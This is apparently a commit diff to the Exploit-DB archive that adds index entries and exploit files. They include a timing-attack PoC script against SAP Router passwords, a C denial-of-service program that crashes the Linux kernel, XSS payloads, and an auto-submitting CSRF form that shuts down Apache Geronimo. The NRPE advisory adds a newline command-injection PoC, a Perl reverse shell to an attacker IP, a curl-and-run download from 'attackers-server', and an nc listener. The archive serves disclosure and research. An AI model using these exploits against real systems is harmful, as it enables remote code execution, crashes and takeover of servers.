Updated 04_19_2014
This commit is contained in:
Offensive Security
parent
46dd79985b
commit
7abb0c1c05
10 changed files with 936 additions and 0 deletions
|
|
@ -29652,6 +29652,7 @@ id,file,description,date,author,platform,type,port
|
|||
32896,platforms/multiple/webapps/32896.html,"IBM BladeCenter Advanced Management Module 1.42 CSRF",2009-04-09,"Henri Lindberg",multiple,webapps,0
|
||||
32897,platforms/java/webapps/32897.txt,"Cisco Subscriber Edge Services Manager Cross Site Scripting And HTML Injection Vulnerabilities",2009-04-09,"Usman Saeed",java,webapps,0
|
||||
32898,platforms/asp/webapps/32898.txt,"XIGLA Absolute Form Processor XE 1.5 'login.asp' SQL Injection Vulnerability",2009-04-09,"ThE g0bL!N",asp,webapps,0
|
||||
32899,platforms/windows/dos/32899.py,"Jzip SEH Unicode Buffer Overflow (Denial of Service)",2014-04-16,"motaz reda",windows,dos,0
|
||||
32901,platforms/php/local/32901.php,"PHP 5.2.9 cURL 'safe_mode' and 'open_basedir' Restriction-Bypass Vulnerability",2009-04-10,"Maksymilian Arciemowicz",php,local,0
|
||||
32902,platforms/windows/dos/32902.py,"Microsoft Internet Explorer 8 File Download Denial of Service Vulnerability",2009-04-11,"Nam Nguyen",windows,dos,0
|
||||
32903,platforms/asp/webapps/32903.txt,"People-Trak Login SQL Injection Vulnerability",2009-04-13,Mormoroth.net,asp,webapps,0
|
||||
|
|
@ -29666,3 +29667,11 @@ id,file,description,date,author,platform,type,port
|
|||
32912,platforms/php/webapps/32912.txt,"Phorum 5.2 admin/users.php Multiple Parameter XSS",2009-04-16,voodoo-labs,php,webapps,0
|
||||
32913,platforms/php/webapps/32913.txt,"Phorum 5.2 versioncheck.php upgrade_available Parameter XSS",2009-04-16,voodoo-labs,php,webapps,0
|
||||
32914,platforms/php/webapps/32914.php,"Geeklog <= 1.5.2 'usersettings.php' SQL Injection Vulnerability",2009-04-16,Nine:Situations:Group::bookoo,php,webapps,0
|
||||
32919,platforms/hardware/remote/32919.txt,"SAP Router - Timing Attack Password Disclosure",2014-04-17,"Core Security",hardware,remote,0
|
||||
32920,platforms/multiple/remote/32920.txt,"Apache Geronimo 2.1.x /console/portal/Server/Monitoring Multiple Parameter XSS",2009-04-16,DSecRG,multiple,remote,0
|
||||
32921,platforms/multiple/remote/32921.txt,"Apache Geronimo 2.1.x /console/portal/ URI XSS",2009-04-16,DSecRG,multiple,remote,0
|
||||
32922,platforms/multiple/remote/32922.html,"Apache Geronimo 2.1.x Multiple Admin Function CSRF",2009-04-16,DSecRG,multiple,remote,0
|
||||
32923,platforms/windows/remote/32923.cs,"MiniWeb 0.8.19 Remote Buffer Overflow Vulnerability",2009-04-16,e.wiZz!,windows,remote,0
|
||||
32924,platforms/php/webapps/32924.txt,"razorCMS 0.3RC2 Multiple Vulnerabilities",2009-04-16,"Jeremi Gosney",php,webapps,0
|
||||
32925,platforms/multiple/remote/32925.txt,"NRPE <= 2.15 - Remote Command Execution",2014-04-18,"Dawid Golunski",multiple,remote,0
|
||||
32926,platforms/linux/dos/32926.c,"Linux group_info refcounter - Overflow Memory Corruption",2014-04-18,"Thomas Pollet",linux,dos,0
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
487
platforms/hardware/remote/32919.txt
Executable file
487
platforms/hardware/remote/32919.txt
Executable file
|
|
@ -0,0 +1,487 @@
|
|||
Core Security - Corelabs Advisory
|
||||
http://corelabs.coresecurity.com/
|
||||
|
||||
SAP Router Password Timing Attack
|
||||
|
||||
|
||||
1. *Advisory Information*
|
||||
|
||||
Title: SAP Router Password Timing Attack
|
||||
Advisory ID: CORE-2014-0003
|
||||
Advisory URL:
|
||||
http://www.coresecurity.com/advisories/sap-router-password-timing-attack
|
||||
Date published: 2014-04-15
|
||||
Date of last update: 2014-03-06
|
||||
Vendors contacted: SAP
|
||||
Release mode: Coordinated release
|
||||
|
||||
|
||||
2. *Vulnerability Information*
|
||||
|
||||
Class: Information Exposure Through Timing Discrepancy [CWE-208]
|
||||
Impact: Security bypass
|
||||
Remotely Exploitable: Yes
|
||||
Locally Exploitable: No
|
||||
CVE Name: CVE-2014-0984
|
||||
|
||||
|
||||
3. *Vulnerability Description*
|
||||
|
||||
|
||||
SAP Router [1] is an application-level gateway used to
|
||||
connect systems in a SAP infrastructure. A vulnerability
|
||||
have been found in SAP Router that could allow an unauthenticated
|
||||
remote attacker to obtain passwords used to protect route entries
|
||||
by a
|
||||
timing side-channel attack.
|
||||
|
||||
|
||||
|
||||
4. *Vulnerable Packages*
|
||||
|
||||
. SAP Router release 721 patch level 117.
|
||||
. SAP Router release 720 patch level 411.
|
||||
. SAP Router release 710 patch level 029.
|
||||
. Other versions are probably affected too, but they were not checked.
|
||||
|
||||
5. *Vendor Information, Solutions and Workarounds*
|
||||
|
||||
|
||||
SAP released the security note
|
||||
https://service.sap.com/sap/support/notes/1986895
|
||||
regarding these issues. Contact SAP for further information.
|
||||
|
||||
|
||||
|
||||
Martin Gallo proposed the following actions to mitigate the
|
||||
impact of the vulnerabilities:
|
||||
|
||||
|
||||
1. Disable the use of passwords on the Route Permission Table [2].
|
||||
|
||||
2. Enforce the use of SNC (Secure Network Communications) as an
|
||||
authentication mechanism for securing routes.
|
||||
|
||||
|
||||
6. *Credits*
|
||||
|
||||
|
||||
This vulnerability was discovered and researched by Martin Gallo
|
||||
from Core
|
||||
Security Consulting Services. The publication of this advisory was
|
||||
coordinated by Fernando Miranda from Core Advisories Team.
|
||||
|
||||
|
||||
|
||||
7. *Technical Description / Proof of Concept Code*
|
||||
|
||||
|
||||
SAP Router permits and/or forbids networks connections based on a
|
||||
Route Permission Table [2]. Entries in the
|
||||
Route Permission Table can have a password. If a password is
|
||||
specified
|
||||
for a given entry in the Route Permission Table, SAP Router checks
|
||||
whether
|
||||
the user-supplied password matches with the one in the Route
|
||||
Permission
|
||||
Table entry before permitting a connection.
|
||||
|
||||
|
||||
|
||||
The vulnerable function 'passwordCheck'
|
||||
performs a non-constant time string comparison for checking the
|
||||
user-supplied password against the on in the Route Permission Table.
|
||||
On the first non-matched character, the string comparison function
|
||||
immediately interrupts the evaluation cycle, which may let an
|
||||
attacker perform timing attacks.
|
||||
The following snippet shows an excerpt of the vulnerable code
|
||||
within the
|
||||
'passwordCheck' function:
|
||||
|
||||
|
||||
|
||||
/-----
|
||||
.text:0000000140005BE0 loc_140005BE0: ; CODE
|
||||
XREF: passwordCheck+191j
|
||||
.text:0000000140005BE0 movzx ecx, byte ptr [rdi] ; rdi
|
||||
points to the routtab password
|
||||
.text:0000000140005BE3 movzx eax, byte ptr [rdi+rsi] ;
|
||||
rdi+rsi points to the user-supplied password
|
||||
.text:0000000140005BE7 sub ecx, eax
|
||||
.text:0000000140005BE9 jnz short loc_140005BF3 ;
|
||||
password check failed
|
||||
.text:0000000140005BEB add rdi, 1
|
||||
.text:0000000140005BEF test eax, eax
|
||||
.text:0000000140005BF1 jnz short loc_140005BE0
|
||||
.text:0000000140005BF3
|
||||
.text:0000000140005BF3 loc_140005BF3: ; CODE
|
||||
XREF: passwordCheck+189j
|
||||
.text:0000000140005BF3 test ecx, ecx
|
||||
.text:0000000140005BF5 jz short loc_140005C3F
|
||||
.text:0000000140005BF7 cmp cs:trace_level, 1
|
||||
.text:0000000140005BFE jl short loc_140005C38
|
||||
.text:0000000140005C00 call DpLock
|
||||
.text:0000000140005C05 mov rcx, cs:qword_140273BC0
|
||||
.text:0000000140005C0C lea r8, aPasswordcheck ;
|
||||
"passwordCheck"
|
||||
.text:0000000140005C13 lea rdx, aSPasswordCheck ;
|
||||
"%s: password check failed\n"
|
||||
.text:0000000140005C1A mov cs:dword_1401ADAA4, 1
|
||||
.text:0000000140005C24 call DpTrace
|
||||
.text:0000000140005C29
|
||||
.text:0000000140005C29 loc_140005C29: ; CODE
|
||||
XREF: passwordCheck+16Fj
|
||||
.text:0000000140005C29 mov cs:dword_1401ADAA4, 2
|
||||
.text:0000000140005C33 call DpUnlock
|
||||
.text:0000000140005C38
|
||||
.text:0000000140005C38 loc_140005C38: ; CODE
|
||||
XREF: passwordCheck+135j
|
||||
.text:0000000140005C38 ;
|
||||
passwordCheck+19Ej
|
||||
.text:0000000140005C38 mov eax, 0FFFFFFA2h
|
||||
.text:0000000140005C3D jmp short loc_140005C41
|
||||
.text:0000000140005C3F ;
|
||||
---------------------------------------------------------------------------
|
||||
.text:0000000140005C3F
|
||||
.text:0000000140005C3F loc_140005C3F: ; CODE
|
||||
XREF: passwordCheck+12Cj
|
||||
.text:0000000140005C3F ;
|
||||
passwordCheck+174j ...
|
||||
.text:0000000140005C3F xor eax, eax ;
|
||||
password check succeeded
|
||||
|
||||
-----/
|
||||
|
||||
|
||||
7.1. *Proof of Concept*
|
||||
|
||||
|
||||
/-----
|
||||
#!/usr/bin/python
|
||||
## ===========
|
||||
## pysap - Python library for crafting SAP's network protocols packets
|
||||
##
|
||||
## Copyright (C) 2014 Core Security Technologies
|
||||
##
|
||||
## The library was designed and developed by Martin Gallo from the Security
|
||||
## Consulting Services team of Core Security Technologies.
|
||||
##
|
||||
## This program is free software; you can redistribute it and/or
|
||||
## modify it under the terms of the GNU General Public License
|
||||
## as published by the Free Software Foundation; either version 2
|
||||
## of the License, or (at your option) any later version.
|
||||
##
|
||||
## This program is distributed in the hope that it will be useful,
|
||||
## but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
## GNU General Public License for more details.
|
||||
##==============
|
||||
|
||||
# Standard imports
|
||||
import logging
|
||||
from optparse import OptionParser, OptionGroup
|
||||
# External imports
|
||||
import fau_timer
|
||||
from scapy.config import conf
|
||||
from scapy.supersocket import socket
|
||||
# Custom imports
|
||||
from pysap.SAPNI import SAPNI, SAPNIStreamSocket
|
||||
from pysap.SAPRouter import SAPRouter, router_is_control
|
||||
|
||||
|
||||
# Set the verbosity to 0
|
||||
conf.verb = 0
|
||||
|
||||
|
||||
# Command line options parser
|
||||
def parse_options():
|
||||
|
||||
description = \
|
||||
"""This example script connects with a SAP Router service and makes an
|
||||
information request using a provided password. It then records the
|
||||
time the remote service takes to respond to the request. Further
|
||||
analysis
|
||||
of the time records could be performed in order to identify whether the
|
||||
server is vulnerable to a timing attack on the password check.
|
||||
|
||||
"""
|
||||
|
||||
epilog = \
|
||||
"""pysap -
|
||||
http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=pysap"""
|
||||
|
||||
usage = "Usage: %prog [options] -d <remote host>"
|
||||
|
||||
parser = OptionParser(usage=usage, description=description,
|
||||
epilog=epilog)
|
||||
|
||||
target = OptionGroup(parser, "Target")
|
||||
target.add_option("-d", "--remote-host", dest="remote_host",
|
||||
help="Remote host [%default]", default="127.0.0.1")
|
||||
target.add_option("-p", "--remote-port", dest="remote_port",
|
||||
type="int", help="Remote port [%default]", default=3299)
|
||||
target.add_option("--router-version", dest="router_version",
|
||||
type="int", help="SAP Router version to use [retrieve from the remote
|
||||
SAP Router]")
|
||||
parser.add_option_group(target)
|
||||
|
||||
misc = OptionGroup(parser, "Misc options")
|
||||
misc.add_option("-t", "--tries", dest="tries", default=10,
|
||||
type="int", help="Amount of tries to make for each length [%default]")
|
||||
misc.add_option("--password", dest="password", default="password",
|
||||
help="Correct password to test")
|
||||
misc.add_option("-o", "--output", dest="output",
|
||||
default="output.csv", help="Output file [%default]")
|
||||
misc.add_option("-v", "--verbose", dest="verbose",
|
||||
action="store_true", default=False, help="Verbose output [%default]")
|
||||
parser.add_option_group(misc)
|
||||
|
||||
(options, _) = parser.parse_args()
|
||||
|
||||
if not options.remote_host:
|
||||
parser.error("Remote host is required")
|
||||
|
||||
return options
|
||||
|
||||
|
||||
# Retrieve the version of the remote SAP Router
|
||||
def get_router_version(connection):
|
||||
r = connection.sr(SAPRouter(type=SAPRouter.SAPROUTER_CONTROL,
|
||||
version=40, opcode=1))
|
||||
if router_is_control(r) and r.opcode == 2:
|
||||
return r.version
|
||||
else:
|
||||
return None
|
||||
|
||||
|
||||
def try_password(options, password, output=None, k=0):
|
||||
|
||||
p = SAPRouter(type=SAPRouter.SAPROUTER_ADMIN,
|
||||
version=options.router_version)
|
||||
p.adm_command = 2
|
||||
p.adm_password = password
|
||||
p = str(SAPNI() / p)
|
||||
|
||||
fau_timer.init()
|
||||
fau_timer.send_request(options.remote_host, options.remote_port, p,
|
||||
len(p))
|
||||
fau_timer.calculate_time()
|
||||
cpuSpeed = fau_timer.get_speed()
|
||||
cpuTicks = fau_timer.get_cpu_ticks()
|
||||
time = fau_timer.get_time()
|
||||
|
||||
if options.verbose:
|
||||
print "Request time: CPU Speed: %s Hz CPU Ticks: %s Time: %s
|
||||
nanosec" % (cpuSpeed, cpuTicks, time)
|
||||
|
||||
# Write the time to the output file
|
||||
if output:
|
||||
output.write("%i,%s,%s\n" % (k, password, time))
|
||||
|
||||
return time
|
||||
|
||||
|
||||
# Main function
|
||||
def main():
|
||||
options = parse_options()
|
||||
|
||||
if options.verbose:
|
||||
logging.basicConfig(level=logging.DEBUG)
|
||||
|
||||
# Initiate the connection
|
||||
sock = socket.socket()
|
||||
sock.connect((options.remote_host, options.remote_port))
|
||||
conn = SAPNIStreamSocket(sock)
|
||||
print "[*] Connected to the SAP Router %s:%d" %
|
||||
(options.remote_host, options.remote_port)
|
||||
|
||||
# Retrieve the router version used by the server if not specified
|
||||
if options.router_version is None:
|
||||
options.router_version = get_router_version(conn)
|
||||
|
||||
print "[*] Using SAP Router version %d" % options.router_version
|
||||
|
||||
print "[*] Checking if the server is vulnerable to a timing attack ..."
|
||||
|
||||
with open(options.output, "w") as f:
|
||||
|
||||
c = 0
|
||||
for i in range(0, len(options.password) + 1):
|
||||
password = options.password[:i] + "X" *
|
||||
(len(options.password) - i)
|
||||
print "[*] Trying with password (%s) len %d" % (password,
|
||||
len(password))
|
||||
for _ in range(0, options.tries):
|
||||
try_password(options, password, f, c)
|
||||
c += 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
-----/
|
||||
|
||||
|
||||
8. *Report Timeline*
|
||||
. 2014-02-20:
|
||||
|
||||
Initial notification sent to SAP, including technical description
|
||||
to reproduce the vulnerability. Publication date set to March
|
||||
11, 2014.
|
||||
|
||||
|
||||
. 2014-02-20:
|
||||
|
||||
Vendor notifies that the tracking number 1068415-2014 was
|
||||
created for this issue.
|
||||
|
||||
|
||||
. 2014-02-28:
|
||||
|
||||
Vendor notifies that they will not be able to provide
|
||||
a fix for the reported issue for the tentative release date,
|
||||
March 11th,
|
||||
and ask for delaying the advisory publication.
|
||||
|
||||
|
||||
. 2014-03-03:
|
||||
|
||||
Vendor notifies that they currently do not see it as a
|
||||
vulnerability
|
||||
and asks for additional technical details.
|
||||
|
||||
|
||||
. 2014-03-05:
|
||||
|
||||
Core sends additional information regarding how to exploit this
|
||||
vulnerability
|
||||
solving the network letency and other practical issues.
|
||||
Additional publications
|
||||
on this topic were also included [3],
|
||||
[4], [5].
|
||||
|
||||
|
||||
. 2014-03-07:
|
||||
|
||||
Vendor notifies that they will make changes for mitigating
|
||||
timing attacks.
|
||||
Vendor also notifies that they usually release security fixes
|
||||
on Patch Days (every second Tuesday per month), and April 8th
|
||||
or May 13th seems much more realistic dates for releasing fixes.
|
||||
|
||||
|
||||
. 2014-03-26:
|
||||
|
||||
Vendor requests pushing the advisory release until May 13th.
|
||||
|
||||
|
||||
. 2014-04-03:
|
||||
|
||||
Core re-schedules the advisory publication for May 13th.
|
||||
|
||||
|
||||
. 2014-03-11:
|
||||
|
||||
First release date missed.
|
||||
|
||||
|
||||
. 2014-03-07:
|
||||
|
||||
Core re-schedules the advisory publication for April 8th.
|
||||
|
||||
|
||||
. 2014-03-13:
|
||||
|
||||
Core sends a Proof of Concept and aditional technical information.
|
||||
|
||||
|
||||
. 2014-04-07:
|
||||
|
||||
SAP notifies that they have released the security note 1986895
|
||||
[6] on April Patch Day 2014.
|
||||
|
||||
|
||||
. 2014-04-09:
|
||||
|
||||
Core notifies that the advisory is going to be re-schedule for
|
||||
the 15 of April.
|
||||
|
||||
|
||||
. 2014-04-15:
|
||||
|
||||
Advisory CORE-2014-0003 published.
|
||||
|
||||
|
||||
|
||||
9. *References*
|
||||
|
||||
[1]
|
||||
http://help.sap.com/saphelp_nw74/helpdata/en/48/7612ed5ca5055ee10000000a42189b/content.htm?frameset=/en/ea/214d2aafaa43feaee78375cb16552f/frameset.htm.
|
||||
|
||||
|
||||
[2]
|
||||
http://help.sap.com/saphelp_nw74/helpdata/en/48/6c7a3fc1504e6ce10000000a421937/content.htm?frameset=/en/ea/214d2aafaa43feaee78375cb16552f/frameset.htm
|
||||
[3] http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.65.9811
|
||||
[4] http://www.youtube.com/watch?v=idjDiBtu93Y&feature=related
|
||||
[5] http://events.ccc.de/congress/2011/Fahrplan/attachments/2021_Slides
|
||||
[6]
|
||||
SAP security note 1986895
|
||||
https://service.sap.com/sap/support/notes/1986895.
|
||||
|
||||
|
||||
|
||||
10. *About CoreLabs*
|
||||
|
||||
CoreLabs, the research center of Core Security Technologies, is
|
||||
charged with anticipating
|
||||
the future needs and requirements for information security
|
||||
technologies.
|
||||
We conduct our research in several important areas of computer security
|
||||
including system vulnerabilities, cyber attack planning and simulation,
|
||||
source code auditing, and cryptography. Our results include problem
|
||||
formalization, identification of vulnerabilities, novel solutions and
|
||||
prototypes for new technologies. CoreLabs regularly publishes security
|
||||
advisories, technical papers, project information and shared software
|
||||
tools for public use at:
|
||||
http://corelabs.coresecurity.com.
|
||||
|
||||
|
||||
|
||||
11. *About Core Security Technologies*
|
||||
|
||||
|
||||
Core Security Technologies enables organizations to get ahead of threats
|
||||
with security test and measurement solutions that continuously identify
|
||||
and demonstrate real-world exposures to their most critical assets. Our
|
||||
customers can gain real visibility into their security standing, real
|
||||
validation of their security controls, and real metrics to more
|
||||
effectively secure their organizations.
|
||||
|
||||
|
||||
|
||||
Core Security's software solutions build on over a decade of trusted
|
||||
research and leading-edge threat expertise from the company's Security
|
||||
Consulting Services, CoreLabs and Engineering groups. Core Security
|
||||
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
|
||||
http://www.coresecurity.com.
|
||||
|
||||
|
||||
|
||||
12. *Disclaimer*
|
||||
|
||||
|
||||
The contents of this advisory are copyright
|
||||
(c) 2014 Core Security Technologies and (c) 2014 CoreLabs,
|
||||
and are licensed under a Creative Commons
|
||||
Attribution Non-Commercial Share-Alike 3.0 (United States) License:
|
||||
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
|
||||
|
||||
|
||||
13. *PGP/GPG Keys*
|
||||
|
||||
|
||||
This advisory has been signed with the GPG key of Core Security
|
||||
Technologies
|
||||
advisories team, which is available for download at
|
||||
|
||||
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
|
||||
33
platforms/linux/dos/32926.c
Executable file
33
platforms/linux/dos/32926.c
Executable file
|
|
@ -0,0 +1,33 @@
|
|||
/*
|
||||
* DoS poc for CVE-2014-2851
|
||||
* Linux group_info refcounter overflow memory corruption
|
||||
*
|
||||
* https://lkml.org/lkml/2014/4/10/736
|
||||
*
|
||||
* @Tohmaxx - http://thomaspollet.blogspot.be
|
||||
*
|
||||
* If the app doesn't crash your system, try a different count (argv[1])
|
||||
* Execution takes a while because 2^32 socket() calls
|
||||
*
|
||||
*/
|
||||
|
||||
#include <arpa/inet.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
int main(int argc, char *argv[]) {
|
||||
int i ;
|
||||
struct sockaddr_in saddr;
|
||||
unsigned count = (1UL<<32) - 20 ;
|
||||
if(argc >= 2){
|
||||
// Specify count
|
||||
count = atoi(argv[1]);
|
||||
}
|
||||
printf("count 0x%x\n",count);
|
||||
for(i = 0 ; (unsigned)i < count;i++ ){
|
||||
socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
|
||||
if ( i % ( 1 << 22 ) == 0 )
|
||||
printf("%i \n",i);
|
||||
}
|
||||
//Now make it wrap and crash:
|
||||
system("/bin/echo bye bye");
|
||||
}
|
||||
29
platforms/multiple/remote/32920.txt
Executable file
29
platforms/multiple/remote/32920.txt
Executable file
|
|
@ -0,0 +1,29 @@
|
|||
source: http://www.securityfocus.com/bid/34562/info
|
||||
|
||||
Apache Geronimo Application Server is prone to multiple remote vulnerabilities:
|
||||
|
||||
- Multiple directory-traversal vulnerabilities
|
||||
- A cross-site scripting vulnerability
|
||||
- Multiple HTML-injection vulnerabilities
|
||||
- A cross-site request-forgery vulnerability
|
||||
|
||||
Attackers can exploit these issues to obtain sensitive information, upload arbitrary files, execute arbitrary script code, steal cookie-based authentication credentials, and perform certain administrative actions.
|
||||
|
||||
Apache Geronimo 2.1 through 2.1.3 are vulnerable.
|
||||
|
||||
http://www.example.com/console/portal/Server/Monitoring
|
||||
|
||||
Vulnerable parameters: "name", "ip", "username", "description".
|
||||
|
||||
Attacker can inject scripts into monitorings.
|
||||
|
||||
Example [Monitoring - Create View]:
|
||||
|
||||
name = <script>alert('DSecRG XSS')</script>
|
||||
description = </textarea><script>alert("DSecRG XSS")</script>
|
||||
|
||||
or
|
||||
|
||||
http://www.example.com/console/portal//Server/Monitoring/__ac0x3monitoring0x2monitoring!126896788|0/__pm0x3monitoring0x2monitoring!126896788|0_edit?action=saveA
|
||||
ddView&name="><script>alert("DSecRG XSS")</script>&description=</textarea><script>alert("DSecRG XSS")</script>
|
||||
|
||||
14
platforms/multiple/remote/32921.txt
Executable file
14
platforms/multiple/remote/32921.txt
Executable file
|
|
@ -0,0 +1,14 @@
|
|||
source: http://www.securityfocus.com/bid/34562/info
|
||||
|
||||
Apache Geronimo Application Server is prone to multiple remote vulnerabilities:
|
||||
|
||||
- Multiple directory-traversal vulnerabilities
|
||||
- A cross-site scripting vulnerability
|
||||
- Multiple HTML-injection vulnerabilities
|
||||
- A cross-site request-forgery vulnerability
|
||||
|
||||
Attackers can exploit these issues to obtain sensitive information, upload arbitrary files, execute arbitrary script code, steal cookie-based authentication credentials, and perform certain administrative actions.
|
||||
|
||||
Apache Geronimo 2.1 through 2.1.3 are vulnerable.
|
||||
|
||||
http://www.example.com/console/portal/"><script>alert('DSecRG XSS')</script><!--
|
||||
24
platforms/multiple/remote/32922.html
Executable file
24
platforms/multiple/remote/32922.html
Executable file
|
|
@ -0,0 +1,24 @@
|
|||
source: http://www.securityfocus.com/bid/34562/info
|
||||
|
||||
Apache Geronimo Application Server is prone to multiple remote vulnerabilities:
|
||||
|
||||
- Multiple directory-traversal vulnerabilities
|
||||
- A cross-site scripting vulnerability
|
||||
- Multiple HTML-injection vulnerabilities
|
||||
- A cross-site request-forgery vulnerability
|
||||
|
||||
Attackers can exploit these issues to obtain sensitive information, upload arbitrary files, execute arbitrary script code, steal cookie-based authentication credentials, and perform certain administrative actions.
|
||||
|
||||
Apache Geronimo 2.1 through 2.1.3 are vulnerable.
|
||||
|
||||
<html>
|
||||
<form
|
||||
action='http://www.example/console/portal//Server/Shutdown/__ac0x3console-base0x2ServerManager!-1172254814|0'
|
||||
id=1>
|
||||
<input type=hidden value='Shutdown' name="shutdown">
|
||||
<input type=submit>
|
||||
</form>
|
||||
</html>
|
||||
<script>
|
||||
document.getElementById(1).submit();
|
||||
</script>
|
||||
234
platforms/multiple/remote/32925.txt
Executable file
234
platforms/multiple/remote/32925.txt
Executable file
|
|
@ -0,0 +1,234 @@
|
|||
=============================================
|
||||
- Release date: 17.04.2014
|
||||
- Discovered by: Dawid Golunski
|
||||
- Severity: High
|
||||
=============================================
|
||||
|
||||
|
||||
I. VULNERABILITY
|
||||
-------------------------
|
||||
|
||||
NRPE - Nagios Remote Plugin Executor <= 2.15 Remote Command Execution
|
||||
|
||||
|
||||
II. BACKGROUND
|
||||
-------------------------
|
||||
|
||||
Nagios is an open source computer system monitoring, network monitoring and
|
||||
infrastructure monitoring software application. Nagios offers monitoring and
|
||||
alerting services for servers, switches, applications, and services.
|
||||
It alerts the users when things go wrong and alerts them a second time when
|
||||
the problem has been resolved.
|
||||
|
||||
The NRPE (Nagios Remote Plugin Executor) addon is designed to allow you to
|
||||
execute Nagios plugins on remote Linux/Unix machines.
|
||||
The main reason for doing this is to allow Nagios to monitor "local" resources
|
||||
(like CPU load, memory usage, etc.) on remote machines. Since these public
|
||||
resources are not usually exposed to external machines, an agent like NRPE must
|
||||
be installed on the remote Linux/Unix machines.
|
||||
|
||||
|
||||
|
||||
III. INTRODUCTION
|
||||
-------------------------
|
||||
|
||||
Nagios Remote Plugin Executor (NRPE) contains a vulnerability that could
|
||||
allow an attacker to remotely inject and execute arbitrary code on the host
|
||||
under NRPE account (typically 'nagios').
|
||||
The vulnerability is due to NRPE not properly sanitizing user input before
|
||||
passing it to a command shell as a part of a configured command.
|
||||
In order for an attacker to take advantage of the host NRPE must be compiled
|
||||
and configured with command arguments.
|
||||
No authentication is required to exploit this vulnerability if the NRPE port
|
||||
has not been protected with a firewall.
|
||||
|
||||
IV. DESCRIPTION
|
||||
-------------------------
|
||||
|
||||
|
||||
NRPE expects definitions of commands in nrpe.cfg config file. Some of the
|
||||
examples given in the config with hardcoded arguments are:
|
||||
|
||||
command[check_users]=/usr/local/nagios/libexec/check_users -w 5 -c 10
|
||||
command[check_load]=/usr/local/nagios/libexec/check_load -w 15,10,5 -c 30,25,20
|
||||
command[check_hda1]=/usr/local/nagios/libexec/check_disk -w 20% -c 10% -p /dev/hda1
|
||||
|
||||
when command arguments are enabled then user is also allowed to define
|
||||
commands with variables like:
|
||||
|
||||
command[check_users]=/usr/local/nagios/libexec/check_users -w $ARG1$ -c $ARG2$
|
||||
command[check_disk]=/usr/local/nagios/libexec/check_disk -w $ARG1$ -c $ARG2$ -p $ARG3$
|
||||
|
||||
This is often suggested for convenience in various nagios/nrpe setup tutorials
|
||||
on the web.
|
||||
|
||||
|
||||
To get a result from a defined command in NRPE daemon the following nrpe client
|
||||
can be used with -a option that passes arguments:
|
||||
|
||||
# /usr/local/nagios/libexec/check_nrpe -H 10.10.10.5 -c check_users -a 4 4
|
||||
|
||||
USERS OK - 4 users currently logged in |users=4;4;4;0
|
||||
|
||||
|
||||
in case check_users command was defined with arguments as shown above
|
||||
NRPE would execute:
|
||||
|
||||
/usr/local/nagios/libexec/check_users -w 4 -c 4
|
||||
|
||||
on the local system.
|
||||
|
||||
|
||||
As we can find in the source code of nrpe-2.15/src/nrpe.c NRPE daemon uses popen() function for
|
||||
command execution:
|
||||
|
||||
/* executes a system command via popen(), but protects against timeouts */
|
||||
int my_system(char *command,int timeout,int *early_timeout,char *output,int output_length){
|
||||
----cut----
|
||||
/* run the command */
|
||||
fp=popen(command,"r");
|
||||
|
||||
|
||||
using popen() results in the command being executed with the help of a command shell.
|
||||
|
||||
Before this function is reached however NRPE takes several measures to prevent
|
||||
malicious command injection to the shell. That includes filtration based on a blacklist:
|
||||
|
||||
#define NASTY_METACHARS "|`&><'\"\\[]{};"
|
||||
|
||||
/* make sure request doesn't contain nasties */
|
||||
if(contains_nasty_metachars(pkt->buffer)==TRUE){
|
||||
syslog(LOG_ERR,"Error: Request contained illegal metachars!");
|
||||
|
||||
that prevents bash special characters like semicolon, pipe etc.
|
||||
|
||||
The code is also making sure that arguments do not contain bash command substitution
|
||||
i.e. $(ps aux)
|
||||
|
||||
if(strstr(macro_argv[x],"$(")) {
|
||||
syslog(LOG_ERR,"Error: Request contained a bash command substitution!");
|
||||
return ERROR;
|
||||
|
||||
|
||||
Despite these checks the code is vulnerable to command injection as bash shell allows
|
||||
for multiple command execution if commands are separated by a new line.
|
||||
None of the checks examines the arguments for an occurrence of a new line character: 0x0A
|
||||
|
||||
|
||||
V. PROOF OF CONCEPT
|
||||
-------------------------
|
||||
|
||||
To execute an arbitrary command an attacker could simply add a new line character after
|
||||
a parameter and follow it with his own command.
|
||||
|
||||
To run touch /tmp/vulntest command an attacker could use the check_nrpe client with arguments:
|
||||
|
||||
# /usr/local/nagios/libexec/check_nrpe -H 10.10.10.5 -c check_users -a "`echo -e "\x0a touch /tmp/vulntest "` #" 4
|
||||
|
||||
which make NRPE daemon run the following series of commands:
|
||||
|
||||
/usr/local/nagios/libexec/check_users -w <new_line>
|
||||
touch /tmp/vulntest
|
||||
# -c 4
|
||||
|
||||
and a file /tmp/vulntest would be created with nagios user as the owner. The hash character is to comment
|
||||
out the the rest of the arguments.
|
||||
|
||||
|
||||
An attacker gets a limited set of commands as most of the metacharacters are prohibited by the
|
||||
blacklist. So for example it's difficult to create new files in the system without using > symbol etc.
|
||||
|
||||
An attacker could however download a snippet of perl/python etc. code from the web by using wget or
|
||||
curl command and get a reverse shell. This would allow unrestricted access to the command line:
|
||||
|
||||
---------[revshell.pl on attackers-server]---------
|
||||
|
||||
#!/usr/bin/perl
|
||||
|
||||
use Socket;
|
||||
|
||||
#attackers ip to connect back to
|
||||
$i="10.10.10.40";
|
||||
|
||||
$p=8080;
|
||||
|
||||
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
|
||||
|
||||
if(connect(S,sockaddr_in($p,inet_aton($i))))
|
||||
|
||||
{
|
||||
open(STDIN,">&S");
|
||||
open(STDOUT,">&S");
|
||||
open(STDERR,">&S");
|
||||
exec("/bin/sh -i");
|
||||
}
|
||||
--------------------------------------------------
|
||||
|
||||
/usr/local/nagios/libexec/check_nrpe -H 10.10.10.5 -c check_users -a "`echo -e "\x0a curl -o /tmp/tmp_revshell http://attackers-server/revshell.pl \x0a perl /tmp/tmp_revshell # "` 4 "
|
||||
|
||||
|
||||
|
||||
[attacker@10.10.10.40 ]# nc -v -l 8080
|
||||
